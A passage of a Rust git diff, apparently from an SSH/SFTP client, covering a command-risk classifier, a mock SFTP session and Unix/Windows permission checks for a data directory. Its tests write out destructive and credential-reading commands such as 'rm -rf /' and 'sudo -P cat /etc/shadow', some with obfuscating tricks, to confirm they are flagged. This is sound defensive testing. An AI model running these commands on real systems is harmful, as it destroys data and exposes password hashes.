crate::filter::Pattern; +use crate::filter::{CompiledPattern, Pattern}; use Pattern::{Exact, Glob, Regex}; use super::types::RiskLevel; @@ -588,3 +588,39 @@ pub(super) fn data_risk_patterns() -> &'static [(Pattern, RiskLevel, &'static st ] }) } + +/// Höchstes unter allen zutreffenden Mustern — ein Teilkommando kann +/// gleichzeitig ein Rot- und ein Gelb-Muster treffen (z. B. `rm -rf +/// /etc/shadow` träfe sowohl "rm -rf" als auch "shadow"), das strengere +/// Ergebnis soll gewinnen, nicht das zuerst in der Liste stehende. +pub(super) fn best_match( + patterns: &[(Pattern, RiskLevel, &'static str)], + lower_segment: &str, +) -> Option<(RiskLevel, &'static str)> { + compiled_for(patterns) + .iter() + .filter(|(pattern, _, _)| pattern.matches(lower_segment)) + .map(|(_, level, reason)| (*level, *reason)) + .max_by_key(|(level, _)| *level) +} + +type CompiledList = Vec<(CompiledPattern, RiskLevel, &'static str)>; + +/// Die eingebauten Listen einmal kompilieren statt je Aufruf (reine +/// Performance-Maßnahme, gleiche Semantik wie `Pattern::matches`). Die +/// Listen sind `'static`; die Zuordnung läuft über die Slice-Adresse. +fn compiled_for(patterns: &[(Pattern, RiskLevel, &'static str)]) -> &'static CompiledList { + static SERVER: std::sync::OnceLock = std::sync::OnceLock::new(); + static DATA: std::sync::OnceLock = std::sync::OnceLock::new(); + let compile = |list: &[(Pattern, RiskLevel, &'static str)]| -> CompiledList { + list.iter() + .map(|(p, l, r)| (CompiledPattern::new(p), *l, *r)) + .collect() + }; + if std::ptr::eq(patterns, server_risk_patterns()) { + SERVER.get_or_init(|| compile(patterns)) + } else { + debug_assert!(std::ptr::eq(patterns, data_risk_patterns())); + DATA.get_or_init(|| compile(patterns)) + } +} diff --git a/crates/core/src/risk/sftp_word_check.rs b/crates/core/src/risk/sftp_word_check.rs index 4127b5f71..f0b9df0f4 100644 --- a/crates/core/src/risk/sftp_word_check.rs +++ b/crates/core/src/risk/sftp_word_check.rs @@ -2,7 +2,8 @@ //! #1230, #1232); split out of `classifier.rs`. use super::classifier::{shell_words, RESHELL_COMMANDS}; -use super::sudo_options::{classify_sudo_option, SudoOption, WrapperState, WrapperStep}; +use super::wrapper_state::{WrapperState, WrapperStep}; +use crate::filter::{classify_sudo_option, SudoOption}; /// Ergebnis der Wort-Prüfung auf `sftp-server`. #[derive(Debug, Clone, Copy, PartialEq, Eq)] diff --git a/crates/core/src/risk/tests.rs b/crates/core/src/risk/tests.rs index 384c88229..defacec76 100644 --- a/crates/core/src/risk/tests.rs +++ b/crates/core/src/risk/tests.rs @@ -301,12 +301,14 @@ fn test_t43_classify_does_not_crash_on_deeply_nested_command_under_length_cap() let _ = classify(&command); } +/// Over the length cap the command is not parsed, but its naive fragments +/// are still rated. #[test] -fn test_classify_yields_no_risk_for_command_just_over_the_length_cap() { - let over_cap = "rm -rf / ".repeat(1000); +fn test_classify_rates_fragments_of_command_just_over_the_length_cap() { + let over_cap = "rm -rf / ".repeat(crate::filter::DEFAULT_MAX_COMMAND_LENGTH / 9 + 1); assert!(over_cap.len() > crate::filter::DEFAULT_MAX_COMMAND_LENGTH); let a = classify(&over_cap); - assert_eq!(a.server_risk, RiskLevel::None); + assert_eq!(a.server_risk, RiskLevel::Red); } /// Ein vorangestelltes `sudo` darf die Daten-Risiko-Erkennung nicht @@ -1944,3 +1946,45 @@ fn test_ssh_key_data_risk_matches_secret_path_rule() { } } } + +/// Upper-case `sudo` options must not turn into their lower-case twins +/// before the command is resolved: `-H` takes no value, `-h` does, and +/// `-P`/`-p` the same. Covers the `-c` code, here-string fragments and the +/// whole-command view. +#[test] +fn test_upper_case_sudo_option_does_not_hide_the_command() { + for (command, server_red, data_red) in [ + ("sudo -H reboot", true, false), + ("bash -c 'sudo -H reboot'", true, false), + ("ls; bash -c 'sudo -H shutdown now'", true, false), + ("sh -c \"sudo -P cat /etc/shadow\"", false, true), + ("ls; sudo -H reboot <<< y", true, false), + ("ls\u{7}; sudo -H shutdown now", true, false), + ("ls; sudo -P cat /etc/shadow <<< y", false, true), + ] { + let a = classify(command); + if server_red { + assert_eq!(a.server_risk, RiskLevel::Red, "server risk: {command:?}"); + } + if data_red { + assert_eq!(a.data_risk, RiskLevel::Red, "data risk: {command:?}"); + } + } +} + +/// Every program the classifier treats as passing its arguments on to a +/// shell runs that command through the filter engine too (as a shell, a +/// pass-through wrapper, `eval` or a command runner), so Deny rules and the +/// hard blacklist see it; the two lists cannot drift apart. +#[test] +fn test_reshell_commands_are_unwrapped_by_the_filter() { + let missing: Vec<&str> = super::classifier::RESHELL_COMMANDS + .iter() + .copied() + .filter(|program| !crate::filter::runs_given_commands(program)) + .collect(); + assert!( + missing.is_empty(), + "not unwrapped by the filter: {missing:?}" + ); +} diff --git a/crates/core/src/risk/sudo_options.rs b/crates/core/src/risk/wrapper_state.rs similarity index 52% rename from crates/core/src/risk/sudo_options.rs rename to crates/core/src/risk/wrapper_state.rs index 1dbdf9b05..a41df8a65 100644 --- a/crates/core/src/risk/sudo_options.rs +++ b/crates/core/src/risk/wrapper_state.rs @@ -1,60 +1,5 @@ -//! Option parsing for `sudo`/`doas` words (Issue #1208). - -/// Issue #1208: how a `sudo`/`doas` word starting with `-` continues. -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -pub(super) enum SudoOption { - /// `--`: end of options. - EndOfOptions, - /// Option without an argument, or with an attached one (`-uroot`, - /// `--user=root`). - Complete, - /// Option whose argument is the next word (`-u root`, `--prompt 'x'`). - TakesNext, -} - -/// Classifies one `sudo`/`doas` option word. `word` keeps its original case -/// (`-H` takes no argument, `-h` does). Unknown options are `Complete`, so -/// the next word still counts as the command. -pub(super) fn classify_sudo_option(program: &str, word: &str) -> SudoOption { - if word == "--" { - return SudoOption::EndOfOptions; - } - if let Some(long) = word.strip_prefix("--") { - if long.contains('=') { - return SudoOption::Complete; - } - const LONG_WITH_ARG: &[&str] = &[ - "close-from", - "chdir", - "group", - "host", - "prompt", - "chroot", - "role", - "command-timeout", - "type", - "other-user", - "user", - ]; - return if program == "sudo" && LONG_WITH_ARG.contains(&long.to_lowercase().as_str()) { - SudoOption::TakesNext - } else { - SudoOption::Complete - }; - } - let with_arg: &[char] = if program == "doas" { - &['C', 'u'] - } else { - &['C', 'D', 'g', 'h', 'p', 'R', 'r', 'T', 't', 'U', 'u'] - }; - // Cluster such as `-Sk`: the first option letter that takes an argument - // ends it; letters after it are the attached argument. - let letters: Vec = word.chars().skip(1).collect(); - match letters.iter().position(|c| with_arg.contains(c)) { - Some(pos) if pos + 1 == letters.len() => SudoOption::TakesNext, - _ => SudoOption::Complete, - } -} +//! Option skipping for pass-through wrappers in the `sftp-server` word check +//! (Issue #1230). /// Wrapper whose options and arguments the `sftp-server` word check skips /// (Issue #1230). diff --git a/crates/core/src/ssh/mock.rs b/crates/core/src/ssh/mock.rs index 2042974e8..2287185c5 100644 --- a/crates/core/src/ssh/mock.rs +++ b/crates/core/src/ssh/mock.rs @@ -54,6 +54,14 @@ struct Inner { permission_denied_paths: HashSet, /// Issue #625: bietet der simulierte Server `posix-rename@openssh.com` an? posix_rename: bool, + /// Issue #1714: paths whose chunked/ranged reads fail. + read_fails_for: HashSet, + /// Issue #1714: `stat` size override per path (a file that is larger than + /// reported, like a grown log or an endless special file). + reported_sizes: HashMap, + /// Issue #1714: path -> number of `read_range` calls that still succeed. + read_range_budget: HashMap, + write_range_fails_containing: Option, /// Issue #625: Quellpfade, bei denen `rename` scheitern soll. rename_fails_for: HashSet, /// Issue #625: Pfade, die `stat` als Ordner meldet. @@ -91,6 +99,48 @@ impl MockSftpSession { self } + /// Issue #1714: `read_file_chunked` and `read_range` of `path` fail + /// with a permission error (`stat` and the file itself stay intact). + pub fn with_read_failure(self, path: impl Into) -> Self { + lock_tolerating_poison(&self.inner) + .read_fails_for + .insert(path.into()); + self + } + + /// Issue #1714: `stat` reports `size` for `path` regardless of its content. + pub fn with_reported_size(self, path: impl Into, size: u64) -> Self { + lock_tolerating_poison(&self.inner) + .reported_sizes + .insert(path.into(), size); + self + } + + /// Issue #1714: a `write_range` to a path containing `needle` creates or + /// truncates the file (as a real server does) and then fails (e.g. ENOSPC). + pub fn with_write_range_failure_containing(self, needle: impl Into) -> Self { + lock_tolerating_poison(&self.inner).write_range_fails_containing = Some(needle.into()); + self + } + + /// Issue #1714: after `n` successful `read_range` calls on `path`, the + /// next ones fail with a permission error. + pub fn with_read_failure_after(self, path: impl Into, n: usize) -> Self { + lock_tolerating_poison(&self.inner) + .read_range_budget + .insert(path.into(), n); + self + } + + /// All paths currently holding a file. + pub fn paths(&self) -> Vec { + lock_tolerating_poison(&self.inner) + .files + .keys() + .cloned() + .collect() + } + /// Issue #625: der simulierte Server bietet `posix-rename@openssh.com` an. pub fn with_posix_rename(self) -> Self { lock_tolerating_poison(&self.inner).posix_rename = true; @@ -239,6 +289,11 @@ impl SftpSession for MockSftpSession { let content = { let mut inner = lock_tolerating_poison(&self.inner); inner.calls.push(format!("read_file_chunked {path}")); + if inner.read_fails_for.contains(path) { + return Err(SshError::SftpPermissionDenied(format!( + "read denied: {path}" + ))); + } inner .files .get(path) @@ -296,6 +351,19 @@ impl SftpSession for MockSftpSession { ) -> Result, SshError> { let mut inner = lock_tolerating_poison(&self.inner); inner.calls.push(format!("read_range {path}")); + if let Some(budget) = inner.read_range_budget.get_mut(path) { + if *budget == 0 { + return Err(SshError::SftpPermissionDenied(format!( + "read denied: {path}" + ))); + } + *budget -= 1; + } + if inner.read_fails_for.contains(path) { + return Err(SshError::SftpPermissionDenied(format!( + "read denied: {path}" + ))); + } let content = &inner .files .get(path) @@ -332,6 +400,15 @@ impl SftpSession for MockSftpSession { }, ); } + if inner + .write_range_fails_containing + .as_deref() + .is_some_and(|n| path.contains(n)) + { + return Err(SshError::ChannelError(format!( + "no space left on device: {path}" + ))); + } let file = inner .files .get_mut(path) @@ -377,6 +454,7 @@ impl SftpSession for MockSftpSession { is_symlink: false, }); } + let reported = inner.reported_sizes.get(path).copied(); inner .files .get(path) @@ -384,7 +462,7 @@ impl SftpSession for MockSftpSession { name: path.rsplit('/').next().unwrap_or(path).to_string(), path: path.to_string(), is_dir: false, - size: f.content.len() as u64, + size: reported.unwrap_or(f.content.len() as u64), permissions: f.permissions, modified: f.modified, uid: None, diff --git a/crates/persistence-sqlite/Cargo.toml b/crates/persistence-sqlite/Cargo.toml index d7556590c..c3cf81ea3 100644 --- a/crates/persistence-sqlite/Cargo.toml +++ b/crates/persistence-sqlite/Cargo.toml @@ -51,9 +51,14 @@ zeroize = { workspace = true } uuid = { workspace = true, features = ["v4", "serde"] } # Issue #772: user id of the process on Android (`getuid() / 100000`). -[target.'cfg(target_os = "android")'.dependencies] +# Issue #1717: `getuid()` for the data directory ownership check. +[target.'cfg(unix)'.dependencies] libc = { workspace = true } +# Issue #1717: owner and DACL check of the data directory override. +[target.'cfg(windows)'.dependencies] +windows-sys = { version = "0.61", features = ["Win32_Foundation", "Win32_Security", "Win32_Security_Authorization", "Win32_System_Threading"] } + [dev-dependencies] openssl-sys = "0.9" libc = { workspace = true } diff --git a/crates/persistence-sqlite/src/data_dir_trust.rs b/crates/persistence-sqlite/src/data_dir_trust.rs new file mode 100644 index 000000000..8e4f12695 --- /dev/null +++ b/crates/persistence-sqlite/src/data_dir_trust.rs @@ -0,0 +1,440 @@ +//! Ownership and permission checks for a data directory override (issue +//! #1717, Spec 0115). +//! +//! The pointer file and the data directory it names hold everything of an +//! instance (database, host keys, settings, key wrapping file). They only +//! take effect when other local accounts cannot place or change them (a +//! group-writable data directory is accepted on Unix, with a logged warning). +//! Failures are returned as the human-readable reason of a +//! [`crate::DataDirError`]; nothing here falls back to another directory. + +use std::path::Path; + +/// Result of a successful data directory check. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] +pub(crate) struct DirTrust { + /// Unix only: the directory is group-writable. Accepted (per-user groups + /// with umask 002), but logged once as a warning after logging starts. + pub group_writable: bool, +} + +#[cfg(unix)] +const REASON_POINTER_FILE_MODIFIABLE: &str = "the pointer file can be modified by other users"; +const REASON_POINTER_FILE_NOT_REGULAR: &str = "the pointer file is not a regular file"; +const REASON_POINTER_FILE_SYMLINK: &str = "the pointer file is a symbolic link"; +#[cfg(unix)] +const REASON_DIR_NOT_OWNED: &str = "the data directory is not owned by you"; +#[cfg(unix)] +const REASON_DIR_MODIFIABLE: &str = "the data directory can be modified by other users"; + +/// Pure rule for a pointer file on Unix: owned by the current user or root, +/// and neither group- nor world-writable. +#[cfg(unix)] +pub(crate) fn pointer_file_verdict( + owner_uid: u32, + mode: u32, + current_uid: u32, +) -> Result<(), &'static str> { + if owner_uid != current_uid && owner_uid != 0 { + return Err("the pointer file is not owned by you or root"); + } + if mode & 0o022 != 0 { + return Err(REASON_POINTER_FILE_MODIFIABLE); + } + Ok(()) +} + +/// Pure rule for an existing data directory on Unix: owned by the current +/// user and not world-writable. Group-writable is accepted and reported. +#[cfg(unix)] +pub(crate) fn data_dir_verdict( + owner_uid: u32, + mode: u32, + current_uid: u32, +) -> Result { + if owner_uid != current_uid { + return Err(REASON_DIR_NOT_OWNED); + } + if mode & 0o002 != 0 { + return Err(REASON_DIR_MODIFIABLE); + } + Ok(DirTrust { + group_writable: mode & 0o020 != 0, + }) +} + +#[cfg(unix)] +fn current_uid() -> u32 { + // SAFETY: `getuid` has no preconditions and cannot fail. + #[expect(unsafe_code, reason = "getuid(2) is infallible")] + let uid = unsafe { libc::getuid() }; + uid +} + +/// Reads the pointer file after checking it. `Ok(None)` when it does not +/// exist. A symbolic link or anything else that is not a regular file (e.g. a +/// FIFO, which would block the start-up) is refused. On Unix the checks run +/// on the opened handle (opened `O_NONBLOCK | O_NOFOLLOW`) so the file cannot +/// be swapped between check and read; on Windows the DACL is read by path. +pub(crate) fn read_pointer_file(path: &Path) -> Result, String> { + use std::io::Read; + let link_meta = match std::fs::symlink_metadata(path) { + Ok(m) => m, + Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(None), + Err(e) => return Err(format!("cannot read the pointer file: {e}")), + }; + if link_meta.file_type().is_symlink() { + return Err(REASON_POINTER_FILE_SYMLINK.to_owned()); + } + if !link_meta.file_type().is_file() { + return Err(REASON_POINTER_FILE_NOT_REGULAR.to_owned()); + } + let mut options = std::fs::OpenOptions::new(); + options.read(true); + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt; + options.custom_flags(libc::O_NONBLOCK | libc::O_NOFOLLOW); + } + let mut file = match options.open(path) { + Ok(f) => f, + Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(None), + Err(e) => return Err(format!("cannot read the pointer file: {e}")), + }; + #[cfg(unix)] + { + use std::os::unix::fs::MetadataExt; + let meta = file + .metadata() + .map_err(|e| format!("cannot read the pointer file: {e}"))?; + if !meta.is_file() { + return Err(REASON_POINTER_FILE_NOT_REGULAR.to_owned()); + } + if meta.dev() != link_meta.dev() || meta.ino() != link_meta.ino() { + return Err(REASON_POINTER_FILE_MODIFIABLE.to_owned()); + } + pointer_file_verdict(meta.uid(), meta.mode(), current_uid()).map_err(str::to_owned)?; + } + #[cfg(windows)] + windows_dacl::check_trusted(path).map_err(|r| r.replace("{what}", "the pointer file"))?; + let mut content = String::new(); + file.read_to_string(&mut content) + .map_err(|e| format!("cannot read the pointer file: {e}"))?; + Ok(Some(content)) +} + +/// Checks an existing data directory (following a symbolic link to its +/// target, which is what the app will use). +pub(crate) fn check_data_dir(path: &Path) -> Result { + #[cfg(unix)] + { + use std::os::unix::fs::MetadataExt; + let meta = std::fs::metadata(path).map_err(|e| format!("cannot read it: {e}"))?; + data_dir_verdict(meta.uid(), meta.mode(), current_uid()).map_err(str::to_owned) + } + #[cfg(windows)] + { + windows_dacl::check_trusted(path).map_err(|r| r.replace("{what}", "the data directory"))?; + Ok(DirTrust::default()) + } + #[cfg(not(any(unix, windows)))] + { + let _ = path; + Ok(DirTrust::default()) + } +} + +/// Windows: the owner must be the current user (or Administrators, SYSTEM, +/// TrustedInstaller), and the DACL must not grant write, +/// modify, delete or ownership rights to Everyone, Authenticated Users, +/// BUILTIN\Users, Guests or Anonymous. A missing DACL (full access for +/// everyone) is refused too. The owner matters because an owner can always +/// rewrite the DACL, and another user could create the file or directory +/// with a narrow DACL that names no broad group. +#[cfg(windows)] +#[allow(unsafe_code, reason = "Win32 security API calls")] +pub(crate) mod windows_dacl { + use std::os::windows::ffi::OsStrExt; + use std::path::Path; + use windows_sys::Win32::Foundation::{CloseHandle, LocalFree, ERROR_SUCCESS, HANDLE}; + use windows_sys::Win32::Security::Authorization::{ + ConvertStringSidToSidW, GetNamedSecurityInfoW, SE_FILE_OBJECT, + }; + use windows_sys::Win32::Security::{ + CreateWellKnownSid, EqualSid, GetAce, GetTokenInformation, TokenUser, WinAnonymousSid, + WinAuthenticatedUserSid, WinBuiltinAdministratorsSid, WinBuiltinGuestsSid, + WinBuiltinUsersSid, WinLocalSystemSid, WinWorldSid, ACL, DACL_SECURITY_INFORMATION, + OWNER_SECURITY_INFORMATION, PSECURITY_DESCRIPTOR, PSID, SECURITY_MAX_SID_SIZE, TOKEN_QUERY, + TOKEN_USER, + }; + use windows_sys::Win32::System::Threading::{GetCurrentProcess, OpenProcessToken}; + + /// SID of NT SERVICE\TrustedInstaller. + const TRUSTED_INSTALLER_SID: &str = + "S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464"; + + const ACCESS_ALLOWED_ACE_TYPE: u8 = 0; + const ACCESS_ALLOWED_OBJECT_ACE_TYPE: u8 = 5; + const ACCESS_ALLOWED_CALLBACK_ACE_TYPE: u8 = 9; + const ACCESS_ALLOWED_CALLBACK_OBJECT_ACE_TYPE: u8 = 11; + const ACE_OBJECT_TYPE_PRESENT: u32 = 0x1; + const ACE_INHERITED_OBJECT_TYPE_PRESENT: u32 = 0x2; + const GUID_SIZE: usize = 16; + /// Header (4) + access mask (4). + const ACE_FIXED_PART: usize = 8; + const FILE_WRITE_DATA: u32 = 0x0002; + const FILE_APPEND_DATA: u32 = 0x0004; + const FILE_DELETE_CHILD: u32 = 0x0040; + const DELETE: u32 = 0x0001_0000; + const WRITE_DAC: u32 = 0x0004_0000; + const WRITE_OWNER: u32 = 0x0008_0000; + const GENERIC_WRITE: u32 = 0x4000_0000; + const GENERIC_ALL: u32 = 0x1000_0000; + const MODIFYING_RIGHTS: u32 = FILE_WRITE_DATA + | FILE_APPEND_DATA + | FILE_DELETE_CHILD + | DELETE + | WRITE_DAC + | WRITE_OWNER + | GENERIC_WRITE + | GENERIC_ALL; + + /// Pure rule for the owner: the current token user, or Administrators, + /// SYSTEM or TrustedInstaller (an elevated process creates files owned by + /// Administrators; those principals can change any ACL anyway). + pub(crate) fn owner_verdict( + owner_is_current_user: bool, + owner_is_system_principal: bool, + ) -> Result<(), &'static str> { + if owner_is_current_user || owner_is_system_principal { + Ok(()) + } else { + Err("{what} is not owned by you") + } + } + + /// Byte offset of the SID inside an access-allowed ACE of the given type, + /// or `None` for ACE types that grant nothing (deny, audit, ...). + /// `object_flags` is the flags field of an object ACE (read at offset 8). + /// Plain (0) and callback (9) ACEs carry the SID right after the mask; + /// object ACEs (5, 11) carry flags and up to two GUIDs first. + pub(crate) fn allow_ace_sid_offset(ace_type: u8, object_flags: u32) -> Option { + match ace_type { + ACCESS_ALLOWED_ACE_TYPE | ACCESS_ALLOWED_CALLBACK_ACE_TYPE => Some(ACE_FIXED_PART), + ACCESS_ALLOWED_OBJECT_ACE_TYPE | ACCESS_ALLOWED_CALLBACK_OBJECT_ACE_TYPE => { + let mut offset = ACE_FIXED_PART + 4; + if object_flags & ACE_OBJECT_TYPE_PRESENT != 0 { + offset += GUID_SIZE; + } + if object_flags & ACE_INHERITED_OBJECT_TYPE_PRESENT != 0 { + offset += GUID_SIZE; + } + Some(offset) + } + _ => None, + } + } + + /// Frees the security descriptor returned by `GetNamedSecurityInfoW`. + struct Descriptor(PSECURITY_DESCRIPTOR); + impl Drop for Descriptor { + fn drop(&mut self) { + // SAFETY: allocated by `GetNamedSecurityInfoW`, freed exactly once. + unsafe { LocalFree(self.0) }; + } + } + + /// Frees a SID allocated by `ConvertStringSidToSidW`. + struct LocalSid(PSID); + impl Drop for LocalSid { + fn drop(&mut self) { + // SAFETY: allocated by `ConvertStringSidToSidW`, freed exactly once. + unsafe { LocalFree(self.0) }; + } + } + + fn well_known_sid(kind: i32) -> Result, String> { + let mut sid = vec![0u8; SECURITY_MAX_SID_SIZE as usize]; + let mut size = sid.len() as u32; + // SAFETY: `sid` has `size` bytes. + let ok = unsafe { + CreateWellKnownSid( + kind, + std::ptr::null_mut(), + sid.as_mut_ptr().cast(), + &mut size, + ) + }; + if ok == 0 { + return Err("cannot read the permissions of {what}".to_owned()); + } + Ok(sid) + } + + fn sid_eq(a: PSID, b: &[u8]) -> bool { + // SAFETY: both pointers are valid SIDs. + unsafe { EqualSid(a, b.as_ptr() as PSID) != 0 } + } + + /// Runs `f` with the SID of the user of the current process token. + fn with_current_user_sid(f: impl FnOnce(PSID) -> T) -> Result { + let mut token: HANDLE = std::ptr::null_mut(); + // SAFETY: out-pointer is a valid local. + if unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) } == 0 { + return Err("cannot read the permissions of {what}".to_owned()); + } + let mut needed = 0u32; + // SAFETY: a zero-length query only reports the needed size. + unsafe { GetTokenInformation(token, TokenUser, std::ptr::null_mut(), 0, &mut needed) }; + // `u64` elements keep the buffer aligned for `TOKEN_USER`. + let mut buf = vec![0u64; (needed as usize).div_ceil(8).max(1)]; + // SAFETY: `buf` has at least `needed` bytes. + let ok = unsafe { + GetTokenInformation( + token, + TokenUser, + buf.as_mut_ptr().cast(), + needed, + &mut needed, + ) + }; + // SAFETY: `token` was opened above and is closed once. + unsafe { CloseHandle(token) }; + if ok == 0 { + return Err("cannot read the permissions of {what}".to_owned()); + } + // SAFETY: on success the buffer starts with a `TOKEN_USER`. + let sid = unsafe { (*buf.as_ptr().cast::()).User.Sid }; + Ok(f(sid)) + } + + fn owner_is_system_principal(owner: PSID) -> Result { + for kind in [WinBuiltinAdministratorsSid, WinLocalSystemSid] { + if sid_eq(owner, &well_known_sid(kind)?) { + return Ok(true); + } + } + let wide: Vec = TRUSTED_INSTALLER_SID + .encode_utf16() + .chain(Some(0)) + .collect(); + let mut sid: PSID = std::ptr::null_mut(); + // SAFETY: `wide` is NUL-terminated; out-pointer is a valid local. + if unsafe { ConvertStringSidToSidW(wide.as_ptr(), &mut sid) } == 0 { + return Err("cannot read the permissions of {what}".to_owned()); + } + let sid = LocalSid(sid); + // SAFETY: both pointers are valid SIDs. + Ok(unsafe { EqualSid(owner, sid.0) } != 0) + } + + /// `{what}` in the error is replaced by the caller ("the data directory", + /// "the pointer file"). + pub(super) fn check_trusted(path: &Path) -> Result<(), String> { + let wide: Vec = path + .as_os_str() + .encode_wide() + .chain(std::iter::once(0)) + .collect(); + let mut owner: PSID = std::ptr::null_mut(); + let mut dacl: *mut ACL = std::ptr::null_mut(); + let mut descriptor: PSECURITY_DESCRIPTOR = std::ptr::null_mut(); + // SAFETY: `wide` is NUL-terminated; out-pointers are valid locals. + let status = unsafe { + GetNamedSecurityInfoW( + wide.as_ptr(), + SE_FILE_OBJECT, + DACL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION, + &mut owner, + std::ptr::null_mut(), + &mut dacl, + std::ptr::null_mut(), + &mut descriptor, + ) + }; + if status != ERROR_SUCCESS { + return Err(format!( + "cannot read the permissions of {{what}} (error {status})" + )); + } + let _guard = Descriptor(descriptor); + if owner.is_null() { + return Err("{what} is not owned by you".to_owned()); + } + let is_current = with_current_user_sid(|me| sid_eq_ptr(owner, me))?; + let is_system = if is_current { + false + } else { + owner_is_system_principal(owner)? + }; + owner_verdict(is_current, is_system).map_err(str::to_owned)?; + if dacl.is_null() { + return Err("{what} can be modified by other users".to_owned()); + } + let mut broad: Vec> = Vec::new(); + for kind in [ + WinWorldSid, + WinAuthenticatedUserSid, + WinBuiltinUsersSid, + WinBuiltinGuestsSid, + WinAnonymousSid, + ] { + broad.push(well_known_sid(kind)?); + } + // SAFETY: `dacl` is non-null and points into the live descriptor. + let count = unsafe { (*dacl).AceCount }; + for index in 0..u32::from(count) { + let mut ace: *mut core::ffi::c_void = std::ptr::null_mut(); + // SAFETY: `index < AceCount`. + if unsafe { GetAce(dacl, index, &mut ace) } == 0 || ace.is_null() { + return Err("cannot read the permissions of {what}".to_owned()); + } + let ace = ace.cast::().cast_const(); + // SAFETY: every ACE starts with a 4-byte header (type, flags, + // size); the size is checked before reading further. + let (kind, size) = unsafe { + ( + ace.read(), + usize::from(ace.add(2).cast::().read_unaligned()), + ) + }; + if size < ACE_FIXED_PART { + return Err("cannot read the permissions of {what}".to_owned()); + } + // SAFETY: `size >= 8`, so the mask is inside the ACE. + let mask = unsafe { ace.add(4).cast::().read_unaligned() }; + let flags = if size >= ACE_FIXED_PART + 4 { + // SAFETY: inside the ACE (checked by `size`). + unsafe { ace.add(ACE_FIXED_PART).cast::().read_unaligned() } + } else { + 0 + }; + let Some(sid_offset) = allow_ace_sid_offset(kind, flags) else { + continue; + }; + if mask & MODIFYING_RIGHTS == 0 { + continue; + } + // A modifying allow ACE whose SID does not fit cannot be judged. + if sid_offset + 8 > size { + return Err("cannot read the permissions of {what}".to_owned()); + } + // SAFETY: the SID starts inside the ACE. + let sid = unsafe { ace.add(sid_offset) } + .cast_mut() + .cast::(); + if broad.iter().any(|b| sid_eq(sid, b)) { + return Err("{what} can be modified by other users".to_owned()); + } + } + Ok(()) + } + + fn sid_eq_ptr(a: PSID, b: PSID) -> bool { + // SAFETY: both pointers are valid SIDs. + unsafe { EqualSid(a, b) != 0 } + } +} + +#[cfg(test)] +mod tests; diff --git a/crates/persistence-sqlite/src/data_dir_trust/tests.rs b/crates/persistence-sqlite/src/data_dir_trust/tests.rs new file mode 100644 index 000000000..b8ce3818f --- /dev/null +++ b/crates/persistence-sqlite/src/data_dir_trust/tests.rs @@ -0,0 +1,212 @@ +#[cfg(unix)] +mod unix { + use crate::data_dir_trust::*; + use crate::paths::{resolve_with, DataDirSource}; + use std::os::unix::fs::{symlink, PermissionsExt}; + use std::path::Path; + + fn set_mode(path: &Path, mode: u32) { + std::fs::set_permissions(path, std::fs::Permissions::from_mode(mode)).unwrap(); + } + + fn mode_of(path: &Path) -> u32 { + std::fs::metadata(path).unwrap().permissions().mode() & 0o7777 + } + + #[test] + fn test_pointer_file_verdict_owner_and_mode() { + // Owned by the current user: 0644 and 0600 pass. + assert!(pointer_file_verdict(1000, 0o100644, 1000).is_ok()); + assert!(pointer_file_verdict(1000, 0o100600, 1000).is_ok()); + // Owned by root passes even for another current user. + assert!(pointer_file_verdict(0, 0o100644, 1000).is_ok()); + // Owned by another non-root user. + assert!(pointer_file_verdict(1001, 0o100644, 1000).is_err()); + // Group- or world-writable, whoever owns it. + assert!(pointer_file_verdict(1000, 0o100664, 1000).is_err()); + assert!(pointer_file_verdict(1000, 0o100646, 1000).is_err()); + assert!(pointer_file_verdict(0, 0o100666, 1000).is_err()); + } + + #[test] + fn test_data_dir_verdict_owner_and_mode() { + assert_eq!( + data_dir_verdict(1000, 0o40700, 1000), + Ok(DirTrust { + group_writable: false + }) + ); + assert_eq!( + data_dir_verdict(1000, 0o40770, 1000), + Ok(DirTrust { + group_writable: true + }) + ); + // Another user, and root, are not the current user. + assert!(data_dir_verdict(1001, 0o40700, 1000).is_err()); + assert!(data_dir_verdict(0, 0o40700, 1000).is_err()); + // World-writable, also with the sticky bit. + assert!(data_dir_verdict(1000, 0o40777, 1000).is_err()); + assert!(data_dir_verdict(1000, 0o41777, 1000).is_err()); + } + + fn pointer_error(mode: u32) -> Option { + let tmp = tempfile::tempdir().unwrap(); + let target = tmp.path().join("data"); + let file = tmp.path().join("App.data-dir"); + std::fs::write(&file, target.to_str().unwrap()).unwrap(); + set_mode(&file, mode); + resolve_with(None, None, Some(&file), None).err().map(|e| { + assert_eq!(e.source, DataDirSource::PointerFile); + assert_eq!(e.pointer_file.as_deref(), Some(file.as_path())); + e.reason + }) + } + + #[test] + fn test_pointer_file_world_writable_is_refused() { + let reason = pointer_error(0o666).expect("must be refused"); + assert!(reason.contains("modified by other users"), "{reason}"); + } + + #[test] + fn test_pointer_file_group_writable_is_refused() { + assert!(pointer_error(0o664).is_some()); + } + + #[test] + fn test_pointer_file_0644_is_accepted() { + assert!(pointer_error(0o644).is_none()); + } + + #[test] + fn test_pointer_file_symlink_is_refused() { + let tmp = tempfile::tempdir().unwrap(); + let real = tmp.path().join("real"); + std::fs::write(&real, tmp.path().join("data").to_str().unwrap()).unwrap(); + set_mode(&real, 0o644); + let link = tmp.path().join("App.data-dir"); + symlink(&real, &link).unwrap(); + let err = resolve_with(None, None, Some(&link), None).unwrap_err(); + assert!(err.reason.contains("symbolic link"), "{}", err.reason); + assert!(!tmp.path().join("data").exists()); + } + + #[test] + fn test_pointer_file_fifo_is_refused_without_blocking() { + let tmp = tempfile::tempdir().unwrap(); + let file = tmp.path().join("App.data-dir"); + let made = std::process::Command::new("mkfifo") + .arg(&file) + .status() + .unwrap(); + assert!(made.success()); + let err = resolve_with(None, None, Some(&file), None).unwrap_err(); + assert_eq!(err.source, DataDirSource::PointerFile); + assert!(err.reason.contains("not a regular file"), "{}", err.reason); + } + + fn dir_with_mode(mode: u32) -> (tempfile::TempDir, std::path::PathBuf) { + let tmp = tempfile::tempdir().unwrap(); + let dir = tmp.path().join("data"); + std::fs::create_dir(&dir).unwrap(); + set_mode(&dir, mode); + (tmp, dir) + } + + #[test] + fn test_world_writable_dir_is_refused_for_flag_and_env() { + let 